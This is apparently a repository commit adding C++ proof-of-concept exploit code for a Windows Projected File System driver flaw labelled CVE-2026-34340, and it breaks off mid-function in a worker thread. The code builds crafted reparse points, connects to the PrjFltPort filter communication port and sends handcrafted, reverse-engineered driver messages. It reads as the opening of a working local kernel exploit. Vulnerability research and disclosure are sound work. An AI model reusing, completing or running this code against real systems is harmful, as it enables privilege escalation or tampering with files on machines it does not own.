Upload files to "CVE-2026-34340"
This commit is contained in:
Binary file not shown.
@@ -0,0 +1,805 @@
|
|||||||
|
|
||||||
|
#include <iostream>
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <fltuser.h>
|
||||||
|
#include <projectedfslib.h>
|
||||||
|
#pragma comment(lib, "projectedfslib.lib")
|
||||||
|
#pragma comment(lib, "FltLib.lib")
|
||||||
|
|
||||||
|
#include "ntdll.h"
|
||||||
|
#pragma comment(lib, "ntdll")
|
||||||
|
|
||||||
|
|
||||||
|
PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT gInstanceHandle;
|
||||||
|
HANDLE ghPort = 0;
|
||||||
|
|
||||||
|
struct __declspec(align(4)) _PRJ_CONNECTION_CONTEXT
|
||||||
|
{
|
||||||
|
GUID virtualizationInstanceID;
|
||||||
|
unsigned int Version;
|
||||||
|
USHORT VolumeLength;
|
||||||
|
WCHAR szVolume[256];
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
void PrintInstanceId() {
|
||||||
|
PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo;
|
||||||
|
HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo);
|
||||||
|
if (FAILED(hr))
|
||||||
|
{
|
||||||
|
wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
OLECHAR* guidString;
|
||||||
|
StringFromCLSID(InstanceInfo.InstanceID, &guidString);
|
||||||
|
wprintf(L"InstanceId: %s\n", guidString);
|
||||||
|
|
||||||
|
|
||||||
|
LPCOLESTR lpsz = guidString;
|
||||||
|
GUID InstanceId;
|
||||||
|
hr = CLSIDFromString(lpsz, &InstanceId);
|
||||||
|
if (FAILED(hr))
|
||||||
|
{
|
||||||
|
wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
CoTaskMemFree(guidString);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CreateVirtualizationRoot() {
|
||||||
|
|
||||||
|
const wchar_t* PrjRootName = LR"(c:\PrjTest)";
|
||||||
|
CreateDirectoryW(PrjRootName, nullptr);
|
||||||
|
|
||||||
|
|
||||||
|
HRESULT hr;
|
||||||
|
const wchar_t* rootName = LR"(c:\PrjTest\virtRoot)";
|
||||||
|
|
||||||
|
DeleteFileW(rootName);
|
||||||
|
RemoveDirectoryW(rootName);
|
||||||
|
|
||||||
|
if (!CreateDirectoryW(rootName, nullptr))
|
||||||
|
{
|
||||||
|
DWORD gle = GetLastError();
|
||||||
|
if (gle != ERROR_ALREADY_EXISTS) {
|
||||||
|
hr = HRESULT_FROM_WIN32(gle);
|
||||||
|
wprintf(L"Failed to create virtualization root (0x%08x)\n", hr);
|
||||||
|
}
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
GUID instanceId;
|
||||||
|
|
||||||
|
hr = CoCreateGuid(&instanceId);
|
||||||
|
if (FAILED(hr))
|
||||||
|
{
|
||||||
|
wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
hr = PrjMarkDirectoryAsPlaceholder(rootName,
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
&instanceId);
|
||||||
|
if (FAILED(hr))
|
||||||
|
{
|
||||||
|
wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
HRESULT PrjStartEnumCallback(
|
||||||
|
const PRJ_CALLBACK_DATA* callbackData,
|
||||||
|
const GUID* enumerationId
|
||||||
|
)
|
||||||
|
{
|
||||||
|
printf("MyStartEnumCallback\n");
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
HRESULT PrjEndEnumCallback(
|
||||||
|
const PRJ_CALLBACK_DATA* callbackData,
|
||||||
|
const GUID* enumerationId
|
||||||
|
)
|
||||||
|
{
|
||||||
|
printf("MyEndEnumCallback\n");
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
HRESULT PrjGetEnumCallback(
|
||||||
|
const PRJ_CALLBACK_DATA* callbackData,
|
||||||
|
const GUID* enumerationId,
|
||||||
|
PCWSTR searchExpression,
|
||||||
|
PRJ_DIR_ENTRY_BUFFER_HANDLE dirEntryBufferHandle
|
||||||
|
)
|
||||||
|
{
|
||||||
|
//printf("PrjGetEnumCallback\n");
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
HRESULT PrjGetPlaceholderInfoCallback(
|
||||||
|
const PRJ_CALLBACK_DATA* callbackData
|
||||||
|
)
|
||||||
|
{
|
||||||
|
printf("PrjGetPlaceholderInfoCallback\n");
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
HRESULT PrjGetFileDataCallback(
|
||||||
|
const PRJ_CALLBACK_DATA* callbackData,
|
||||||
|
UINT64 byteOffset,
|
||||||
|
UINT32 length
|
||||||
|
)
|
||||||
|
{
|
||||||
|
printf("PrjGetFileDataCallback\n");
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
HRESULT PrjQueryFileNameCallback(
|
||||||
|
const PRJ_CALLBACK_DATA* callbackData
|
||||||
|
)
|
||||||
|
{
|
||||||
|
printf("PrjQueryFileNameCallback\n");
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
HRESULT PrjNotificationCallback(
|
||||||
|
_In_ const PRJ_CALLBACK_DATA* callbackData,
|
||||||
|
_In_ BOOLEAN isDirectory,
|
||||||
|
_In_ PRJ_NOTIFICATION notification,
|
||||||
|
_In_opt_ PCWSTR destinationFileName,
|
||||||
|
_Inout_ PRJ_NOTIFICATION_PARAMETERS* operationParameters
|
||||||
|
)
|
||||||
|
{
|
||||||
|
printf("PrjNotificationCallback\n");
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
VOID PrjCancelCommandCallback(
|
||||||
|
_In_ const PRJ_CALLBACK_DATA* callbackData
|
||||||
|
) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void StartVirtualizatioInstance() {
|
||||||
|
PRJ_CALLBACKS callbackTable;
|
||||||
|
|
||||||
|
// Supply required callbacks.
|
||||||
|
callbackTable.StartDirectoryEnumerationCallback = PrjStartEnumCallback;
|
||||||
|
callbackTable.EndDirectoryEnumerationCallback = PrjEndEnumCallback;
|
||||||
|
callbackTable.GetDirectoryEnumerationCallback = PrjGetEnumCallback;
|
||||||
|
callbackTable.GetPlaceholderInfoCallback = PrjGetPlaceholderInfoCallback;
|
||||||
|
callbackTable.GetFileDataCallback = PrjGetFileDataCallback;
|
||||||
|
|
||||||
|
// The rest of the callbacks are optional.
|
||||||
|
callbackTable.QueryFileNameCallback = PrjQueryFileNameCallback;
|
||||||
|
callbackTable.NotificationCallback = PrjNotificationCallback;
|
||||||
|
callbackTable.CancelCommandCallback = PrjCancelCommandCallback;
|
||||||
|
|
||||||
|
HRESULT hr;
|
||||||
|
const wchar_t* rootName = LR"(c:\PrjTest\virtRoot)";
|
||||||
|
|
||||||
|
PRJ_NOTIFICATION_MAPPING NotificationMappings;
|
||||||
|
NotificationMappings.NotificationBitMask = PRJ_NOTIFY_FILE_PRE_CONVERT_TO_FULL;
|
||||||
|
NotificationMappings.NotificationRoot = L"";
|
||||||
|
|
||||||
|
PRJ_STARTVIRTUALIZING_OPTIONS options;
|
||||||
|
memset(&options, 0, sizeof(options));
|
||||||
|
options.NotificationMappingsCount = 1;
|
||||||
|
options.NotificationMappings = &NotificationMappings;
|
||||||
|
|
||||||
|
PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT instanceHandle;
|
||||||
|
hr = PrjStartVirtualizing(rootName,
|
||||||
|
&callbackTable,
|
||||||
|
nullptr,
|
||||||
|
&options,
|
||||||
|
&instanceHandle);
|
||||||
|
if (FAILED(hr))
|
||||||
|
{
|
||||||
|
wprintf(L"Failed to start the virtualization instance (0x%08x)\n", hr);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
gInstanceHandle = instanceHandle;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct _PRJ_REPARSE_DATA
|
||||||
|
{
|
||||||
|
int Version;
|
||||||
|
int dwFlags;
|
||||||
|
GUID virtualizationInstanceID;
|
||||||
|
PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo;
|
||||||
|
unsigned __int16 PlaceHolderRelPathLength;
|
||||||
|
WCHAR szPlaceHolderRelPathBuffer[1];
|
||||||
|
|
||||||
|
};
|
||||||
|
|
||||||
|
struct _PRJ_REPARSE_DATA_BUFFER
|
||||||
|
{
|
||||||
|
ULONG ReparseTag;
|
||||||
|
USHORT ReparseDataLength;
|
||||||
|
USHORT Reserved;
|
||||||
|
_PRJ_REPARSE_DATA ReparseData;
|
||||||
|
};
|
||||||
|
|
||||||
|
HRESULT CreateFileWithReparsePoint(
|
||||||
|
PHANDLE pFileHandle,
|
||||||
|
LPCWSTR lpcwFileName,
|
||||||
|
_PRJ_REPARSE_DATA* ReparseData,
|
||||||
|
USHORT ReparseDataLength,
|
||||||
|
int Tag,
|
||||||
|
bool bDir) {
|
||||||
|
|
||||||
|
const WCHAR* ErrorMessage; // rdi
|
||||||
|
USHORT BufferLength; // bx
|
||||||
|
ULONG hr; // ebx MAPDST
|
||||||
|
_PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // rax MAPDST
|
||||||
|
int LastError; // eax
|
||||||
|
ULONG Size; // eax
|
||||||
|
size_t Length; // rax
|
||||||
|
|
||||||
|
*pFileHandle = NULL;
|
||||||
|
|
||||||
|
ErrorMessage = 0i64;
|
||||||
|
BufferLength = ReparseDataLength + 8;
|
||||||
|
if ((unsigned __int16)(ReparseDataLength + 8) > 0x4000u
|
||||||
|
|| ReparseDataLength != ReparseData->PlaceHolderRelPathLength + 0x11A)
|
||||||
|
{
|
||||||
|
hr = 0x80070057; // E_INVALIDARG
|
||||||
|
goto LABEL_12;
|
||||||
|
}
|
||||||
|
ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1ui64, (unsigned __int16)(ReparseDataLength + 8));
|
||||||
|
if (!ReparseDataBuffer)
|
||||||
|
{
|
||||||
|
hr = 0x8007000E; // E_OUTOFMEMORY
|
||||||
|
LABEL_12:
|
||||||
|
Size = 2;
|
||||||
|
|
||||||
|
return hr;
|
||||||
|
}
|
||||||
|
ReparseDataBuffer->ReparseTag = Tag;
|
||||||
|
ReparseDataBuffer->ReparseDataLength = ReparseDataLength;
|
||||||
|
memcpy(&ReparseDataBuffer->ReparseData, ReparseData, ReparseDataLength);
|
||||||
|
|
||||||
|
//HANDLE FileHandle = CreateFileW(lpcwFileName, FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64);
|
||||||
|
|
||||||
|
UNICODE_STRING usFileName = { 0 };
|
||||||
|
|
||||||
|
RtlInitUnicodeString(&usFileName, (PWSTR)lpcwFileName);
|
||||||
|
OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
|
||||||
|
ObjectAttributes.Length = 0x30;
|
||||||
|
ObjectAttributes.ObjectName = &usFileName;
|
||||||
|
|
||||||
|
ULONG FileAttributes = FILE_ATTRIBUTE_NORMAL;
|
||||||
|
ULONG CreateOptions = FILE_SYNCHRONOUS_IO_ALERT;
|
||||||
|
|
||||||
|
if (bDir) {
|
||||||
|
CreateOptions = CreateOptions | FILE_DIRECTORY_FILE;
|
||||||
|
}
|
||||||
|
|
||||||
|
IO_STATUS_BLOCK IoStatusBlock = { 0 };
|
||||||
|
HANDLE FileHandle = NULL;
|
||||||
|
|
||||||
|
int Status = NtCreateFile(
|
||||||
|
&FileHandle,
|
||||||
|
FILE_WRITE_ATTRIBUTES | SYNCHRONIZE | FILE_WRITE_DATA,
|
||||||
|
&ObjectAttributes,
|
||||||
|
&IoStatusBlock,
|
||||||
|
0i64,
|
||||||
|
FileAttributes,
|
||||||
|
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
|
||||||
|
FILE_OPEN_IF,
|
||||||
|
CreateOptions,
|
||||||
|
NULL,
|
||||||
|
0);
|
||||||
|
|
||||||
|
if (DeviceIoControl(FileHandle, 0x900A4u, ReparseDataBuffer, BufferLength, 0i64, 0, 0i64, 0i64))// FSCTL_SET_REPARSE_POINT
|
||||||
|
{
|
||||||
|
hr = 0;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
LastError = GetLastError();
|
||||||
|
hr = LastError;
|
||||||
|
if (LastError > 0)
|
||||||
|
hr = (unsigned __int16)LastError | 0x80070000;
|
||||||
|
ErrorMessage = L"Failed to send FSCTL_SET_REPARSE_POINT";
|
||||||
|
}
|
||||||
|
free(ReparseDataBuffer);
|
||||||
|
if (hr)
|
||||||
|
goto LABEL_12;
|
||||||
|
|
||||||
|
|
||||||
|
*pFileHandle = FileHandle;
|
||||||
|
|
||||||
|
return hr;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
_PRJ_REPARSE_DATA* CreateReparseData(PCWSTR szRelPath, DWORD dwFlags, PUSHORT pLength) {
|
||||||
|
USHORT RelPathLength = MAX_PATH;
|
||||||
|
USHORT Length = RelPathLength + 0x11A;
|
||||||
|
_PRJ_REPARSE_DATA* ReparseData = (_PRJ_REPARSE_DATA*)calloc(1ui64, Length);
|
||||||
|
|
||||||
|
ReparseData->Version = 2;
|
||||||
|
ReparseData->PlaceHolderRelPathLength = RelPathLength;
|
||||||
|
ReparseData->dwFlags = dwFlags;
|
||||||
|
|
||||||
|
if (RelPathLength) {
|
||||||
|
memcpy(ReparseData->szPlaceHolderRelPathBuffer, szRelPath, RelPathLength);
|
||||||
|
}
|
||||||
|
|
||||||
|
*pLength = Length;
|
||||||
|
return ReparseData;
|
||||||
|
}
|
||||||
|
|
||||||
|
void PortInit() {
|
||||||
|
|
||||||
|
static HANDLE hPort = NULL;
|
||||||
|
static GUID InstanceId;
|
||||||
|
|
||||||
|
PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo;
|
||||||
|
HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo);
|
||||||
|
InstanceId = InstanceInfo.InstanceID;
|
||||||
|
|
||||||
|
|
||||||
|
//PrjStopVirtualizing(gInstanceHandle);
|
||||||
|
|
||||||
|
_PRJ_CONNECTION_CONTEXT Context;
|
||||||
|
Context.VolumeLength = 0x100;
|
||||||
|
Context.Version = 1;
|
||||||
|
Context.virtualizationInstanceID = InstanceId;
|
||||||
|
wcscpy_s(Context.szVolume, L"c:\\");
|
||||||
|
ULONG SizeOfContext = sizeof(_PRJ_CONNECTION_CONTEXT);
|
||||||
|
|
||||||
|
HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, &Context, SizeOfContext, NULL, &hPort);
|
||||||
|
//HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, NULL, 0, NULL, &hPort);
|
||||||
|
|
||||||
|
printf("FilterConnectCommunicationPort hResult:%x\thPort:%x\n", hResult, hPort);
|
||||||
|
|
||||||
|
ghPort = hPort;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
struct _PRJ_MSG_IN_HEADER
|
||||||
|
{
|
||||||
|
int MessageType;
|
||||||
|
int InputBufferSize;
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
struct _PRJ_VIR_INSTANCE_INFO
|
||||||
|
{
|
||||||
|
GUID virtualizationInstanceID;
|
||||||
|
int Tag;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct _PRJ_MSG_CLOSE_FILE_HANDLER_IN_DATA
|
||||||
|
{
|
||||||
|
_PRJ_VIR_INSTANCE_INFO VirInstanceInfo;
|
||||||
|
char _1c[60];
|
||||||
|
UUID FileId;
|
||||||
|
|
||||||
|
};
|
||||||
|
|
||||||
|
struct _PRJ_MSG_CLOSE_FILE_HANDLER
|
||||||
|
{
|
||||||
|
_PRJ_MSG_IN_HEADER Header;
|
||||||
|
_PRJ_MSG_CLOSE_FILE_HANDLER_IN_DATA Data;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct _PRJ_MSG_CLOSE_FILE_HANDLER_OUT_DATA
|
||||||
|
{
|
||||||
|
int MessageType;
|
||||||
|
int Size;
|
||||||
|
int Status;
|
||||||
|
};
|
||||||
|
|
||||||
|
GUID GetInstanceId() {
|
||||||
|
GUID InstanceId = { 0 };
|
||||||
|
|
||||||
|
PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo;
|
||||||
|
HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo);
|
||||||
|
if (FAILED(hr))
|
||||||
|
{
|
||||||
|
wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
|
||||||
|
|
||||||
|
return InstanceId;
|
||||||
|
}
|
||||||
|
InstanceId = InstanceInfo.InstanceID;
|
||||||
|
|
||||||
|
return InstanceId;
|
||||||
|
}
|
||||||
|
|
||||||
|
void PrjCloseFileHandler(HANDLE hPort, UUID FileId)
|
||||||
|
{
|
||||||
|
|
||||||
|
DWORD InputBufferLength = 0x1000;
|
||||||
|
PVOID InputBuffer = malloc(InputBufferLength);
|
||||||
|
|
||||||
|
DWORD OutputBufferLength = 0x1000;
|
||||||
|
PVOID OutputBuffer = malloc(OutputBufferLength);
|
||||||
|
|
||||||
|
memset(InputBuffer, 0, InputBufferLength);
|
||||||
|
memset(OutputBuffer, 0, OutputBufferLength);
|
||||||
|
|
||||||
|
DWORD BytesReturned = 0;
|
||||||
|
|
||||||
|
_PRJ_MSG_CLOSE_FILE_HANDLER Message = { 0 };
|
||||||
|
|
||||||
|
memset(&Message, 0, sizeof(Message));
|
||||||
|
|
||||||
|
Message.Header.MessageType = 0xa;
|
||||||
|
Message.Header.InputBufferSize = sizeof(Message);
|
||||||
|
|
||||||
|
|
||||||
|
Message.Data.VirInstanceInfo.Tag = 0x9000001C;
|
||||||
|
Message.Data.VirInstanceInfo.virtualizationInstanceID = GetInstanceId();
|
||||||
|
Message.Data.FileId = FileId;
|
||||||
|
|
||||||
|
memcpy(InputBuffer, &Message, sizeof(Message));
|
||||||
|
InputBufferLength = Message.Header.InputBufferSize;
|
||||||
|
|
||||||
|
HRESULT hResult = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned);
|
||||||
|
printf("FilterSendMessage hResult:%x\n", hResult);
|
||||||
|
|
||||||
|
_PRJ_MSG_CLOSE_FILE_HANDLER_OUT_DATA* pOutData = (_PRJ_MSG_CLOSE_FILE_HANDLER_OUT_DATA*)OutputBuffer;
|
||||||
|
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
HRESULT __fastcall PrjpConstructLongPath(PCWSTR szFilePath, PCWSTR* pszLongPath2, PCWSTR* pszLongPath)
|
||||||
|
{
|
||||||
|
unsigned __int64 Length; // rbx
|
||||||
|
const WCHAR* szLongPath; // rax
|
||||||
|
|
||||||
|
Length = 0xFFFFFFFFFFFFFFFFui64;
|
||||||
|
do
|
||||||
|
++Length;
|
||||||
|
while (szFilePath[Length]);
|
||||||
|
*pszLongPath2 = 0i64;
|
||||||
|
if (Length < 0x104 || !wcsncmp(szFilePath, L"\\\\?\\", 4ui64))
|
||||||
|
{
|
||||||
|
*pszLongPath = szFilePath;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
szLongPath = (WCHAR*)calloc(Length + 5, 2ui64);
|
||||||
|
*pszLongPath2 = szLongPath;
|
||||||
|
if (!szLongPath)
|
||||||
|
return 0x8007000E; // E_OUTOFMEMORY
|
||||||
|
if ((unsigned int)wcsncpy_s((PWSTR)szLongPath, Length + 5, L"\\\\?\\", 4i64)
|
||||||
|
|| (unsigned int)wcsncat_s((PWSTR)(*pszLongPath2), Length + 5, szFilePath, Length))
|
||||||
|
{
|
||||||
|
return 0x80004005; // E_FAIL
|
||||||
|
}
|
||||||
|
*pszLongPath = *pszLongPath2;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
HRESULT __fastcall PrjpReadReparsePoint(PCWSTR szFilePath, _PRJ_REPARSE_DATA_BUFFER** pReparseDataBuffer)
|
||||||
|
{
|
||||||
|
_PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // r15
|
||||||
|
PCWSTR ErrorMessage; // rdi
|
||||||
|
HRESULT hr; // ebx
|
||||||
|
unsigned __int64 Length; // rcx MAPDST
|
||||||
|
ULONG Size; // ecx MAPDST
|
||||||
|
HANDLE FileHandle; // rax MAPDST
|
||||||
|
signed int LastError; // eax
|
||||||
|
unsigned int* EventDescriptor; // rdx
|
||||||
|
LPCWSTR hr64; // [rsp+40h] [rbp-49h]
|
||||||
|
LPCWSTR szLongPath; // [rsp+40h] [rbp-49h] FORCED BYREF
|
||||||
|
PCWSTR pszLongPath2; // [rsp+48h] [rbp-41h] BYREF
|
||||||
|
|
||||||
|
|
||||||
|
Length = 0xFFFFFFFFFFFFFFFFui64;
|
||||||
|
hr64 = 0i64;
|
||||||
|
pszLongPath2 = 0i64;
|
||||||
|
ErrorMessage = 0i64;
|
||||||
|
FileHandle = (HANDLE)0xFFFFFFFFFFFFFFFFi64;
|
||||||
|
if (!pReparseDataBuffer)
|
||||||
|
{
|
||||||
|
hr = 0x80070057; // E_INVALIDARG
|
||||||
|
goto LABEL_3;
|
||||||
|
}
|
||||||
|
ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1, 0x4000ui64);
|
||||||
|
if (!ReparseDataBuffer)
|
||||||
|
{
|
||||||
|
ErrorMessage = L"Couldn't allocate memory for Reparse Data";
|
||||||
|
hr = 0x8007000E; // E_OUTOFMEMORY
|
||||||
|
LABEL_3:
|
||||||
|
Size = 2;
|
||||||
|
return hr;
|
||||||
|
}
|
||||||
|
hr = PrjpConstructLongPath(szFilePath, &pszLongPath2, &szLongPath);
|
||||||
|
if (hr < 0)
|
||||||
|
{
|
||||||
|
ErrorMessage = L"PrjpConstructLongPath failed";
|
||||||
|
goto LABEL_21;
|
||||||
|
}
|
||||||
|
hr = 0;
|
||||||
|
FileHandle = CreateFileW(szLongPath, 0x80u, 3u, 0i64, 3u, 0x2200000u, 0i64);
|
||||||
|
if (FileHandle == (HANDLE)0xFFFFFFFFFFFFFFFFi64)
|
||||||
|
{
|
||||||
|
ErrorMessage = L"Failed to open file";
|
||||||
|
goto LABEL_14;
|
||||||
|
}
|
||||||
|
if (!DeviceIoControl(FileHandle, 0x900A8u, 0i64, 0, ReparseDataBuffer, 0x4000u, 0i64, 0i64))// FSCTL_GET_REPARSE_POINT
|
||||||
|
{
|
||||||
|
ErrorMessage = L"Failed to get reparse point";
|
||||||
|
LABEL_14:
|
||||||
|
LastError = GetLastError();
|
||||||
|
hr = LastError;
|
||||||
|
if (LastError > 0)
|
||||||
|
hr = (unsigned __int16)LastError | 0x80070000;
|
||||||
|
LABEL_21:
|
||||||
|
free(ReparseDataBuffer);
|
||||||
|
if (FileHandle == (HANDLE)0xFFFFFFFFFFFFFFFFi64)
|
||||||
|
goto LABEL_25;
|
||||||
|
goto LABEL_24;
|
||||||
|
}
|
||||||
|
if (ReparseDataBuffer->ReparseTag != 0x9000001C && ReparseDataBuffer->ReparseTag != 0xA0000022)
|
||||||
|
{
|
||||||
|
ErrorMessage = L"Another Reparse Tag Encountered";
|
||||||
|
hr = 0x8007112A;
|
||||||
|
goto LABEL_21;
|
||||||
|
}
|
||||||
|
*pReparseDataBuffer = ReparseDataBuffer;
|
||||||
|
LABEL_24:
|
||||||
|
CloseHandle(FileHandle);
|
||||||
|
LABEL_25:
|
||||||
|
|
||||||
|
if (pszLongPath2)
|
||||||
|
free((void*)pszLongPath2);
|
||||||
|
if (hr >= 0)
|
||||||
|
return hr;
|
||||||
|
if (hr != 0x80071126)
|
||||||
|
goto LABEL_3;
|
||||||
|
|
||||||
|
return hr;
|
||||||
|
}
|
||||||
|
|
||||||
|
typedef struct _FILE_DISPOSITION_INFORMATION {
|
||||||
|
BOOLEAN DeleteFile;
|
||||||
|
} FILE_DISPOSITION_INFORMATION, * PFILE_DISPOSITION_INFORMATION;
|
||||||
|
|
||||||
|
LONG DeleteDirectory(LPCWSTR szDir)
|
||||||
|
{
|
||||||
|
SHFILEOPSTRUCTW fos = { 0 };
|
||||||
|
|
||||||
|
// delete the folder and everything inside
|
||||||
|
fos.wFunc = FO_DELETE;
|
||||||
|
fos.pFrom = szDir;
|
||||||
|
fos.fFlags = FOF_NO_UI;
|
||||||
|
return SHFileOperation(&fos);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
struct _PRJ_MSG_OPEN_FILE_HANDLER_IN_DATA
|
||||||
|
{
|
||||||
|
ULONG DataSize;
|
||||||
|
int _4;
|
||||||
|
_PRJ_VIR_INSTANCE_INFO VirInstanceInfo;
|
||||||
|
char _1c[60];
|
||||||
|
PRJ_UPDATE_TYPES InfoType;
|
||||||
|
ULONG RelPathOffset;
|
||||||
|
USHORT RelPathLength;
|
||||||
|
WCHAR RelBuffer[MAX_PATH + 1];
|
||||||
|
};
|
||||||
|
|
||||||
|
struct _PRJ_MSG_OPEN_FILE_HANDLER
|
||||||
|
{
|
||||||
|
_PRJ_MSG_IN_HEADER Header;
|
||||||
|
_PRJ_MSG_OPEN_FILE_HANDLER_IN_DATA Data;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct _PRJ_MSG_OPEN_FILE_HANDLER_OUT_DATA
|
||||||
|
{
|
||||||
|
int MessageType;
|
||||||
|
int Size;
|
||||||
|
int Status;
|
||||||
|
UUID FileId;
|
||||||
|
};
|
||||||
|
|
||||||
|
UUID PrjDeleteFileHandler(HANDLE hPort)
|
||||||
|
{
|
||||||
|
|
||||||
|
DWORD InputBufferLength = 0x1000;
|
||||||
|
PVOID InputBuffer = malloc(InputBufferLength);
|
||||||
|
|
||||||
|
DWORD OutputBufferLength = 0x1000;
|
||||||
|
PVOID OutputBuffer = malloc(OutputBufferLength);
|
||||||
|
|
||||||
|
memset(InputBuffer, 0, InputBufferLength);
|
||||||
|
memset(OutputBuffer, 0, OutputBufferLength);
|
||||||
|
|
||||||
|
DWORD BytesReturned = 0;
|
||||||
|
|
||||||
|
_PRJ_MSG_OPEN_FILE_HANDLER Message = { 0 };
|
||||||
|
|
||||||
|
memset(&Message, 0, sizeof(Message));
|
||||||
|
|
||||||
|
Message.Header.MessageType = 0x12;
|
||||||
|
Message.Header.InputBufferSize = sizeof(Message);
|
||||||
|
Message.Data.DataSize = sizeof(_PRJ_MSG_OPEN_FILE_HANDLER_IN_DATA);
|
||||||
|
|
||||||
|
Message.Data.VirInstanceInfo.Tag = 0x9000001C;
|
||||||
|
Message.Data.VirInstanceInfo.virtualizationInstanceID = GetInstanceId();
|
||||||
|
Message.Data.InfoType = PRJ_UPDATE_ALLOW_DIRTY_DATA | PRJ_UPDATE_ALLOW_DIRTY_METADATA | PRJ_UPDATE_ALLOW_TOMBSTONE;
|
||||||
|
Message.Data.RelPathOffset = 0x62;
|
||||||
|
Message.Data.RelPathLength = MAX_PATH;
|
||||||
|
wcscpy_s(Message.Data.RelBuffer, L"aa\\bb");
|
||||||
|
//wcscpy_s(Message.Data.RelBuffer, L"New folder (2)");
|
||||||
|
|
||||||
|
|
||||||
|
memcpy(InputBuffer, &Message, sizeof(Message));
|
||||||
|
InputBufferLength = Message.Header.InputBufferSize;
|
||||||
|
|
||||||
|
HRESULT hResult = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned);
|
||||||
|
//printf("FilterSendMessage hResult:%x\n", hResult);
|
||||||
|
|
||||||
|
_PRJ_MSG_OPEN_FILE_HANDLER_OUT_DATA* pOutData = (_PRJ_MSG_OPEN_FILE_HANDLER_OUT_DATA*)OutputBuffer;
|
||||||
|
|
||||||
|
//OLECHAR* guidString;
|
||||||
|
//StringFromCLSID(pOutData->FileId, &guidString);
|
||||||
|
//wprintf(L"FileId: %s\n", guidString);
|
||||||
|
|
||||||
|
return pOutData->FileId;
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE OpenFolder(LPCWSTR lpcwFileName) {
|
||||||
|
UNICODE_STRING usFileName = { 0 };
|
||||||
|
|
||||||
|
RtlInitUnicodeString(&usFileName, (PWSTR)lpcwFileName);
|
||||||
|
OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
|
||||||
|
ObjectAttributes.Length = 0x30;
|
||||||
|
ObjectAttributes.ObjectName = &usFileName;
|
||||||
|
|
||||||
|
ULONG FileAttributes = FILE_ATTRIBUTE_NORMAL;
|
||||||
|
ULONG CreateOptions = 0x4021u;
|
||||||
|
|
||||||
|
IO_STATUS_BLOCK IoStatusBlock = { 0 };
|
||||||
|
HANDLE FileHandle = NULL;
|
||||||
|
|
||||||
|
int Status = NtOpenFile(&FileHandle, 0x110080u, &ObjectAttributes, &IoStatusBlock, 7u, 0x204001u);
|
||||||
|
|
||||||
|
return FileHandle;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
DWORD WINAPI Worker1(LPVOID lpParameter) {
|
||||||
|
|
||||||
|
USHORT Length = 0;
|
||||||
|
HANDLE FileHandle = NULL;
|
||||||
|
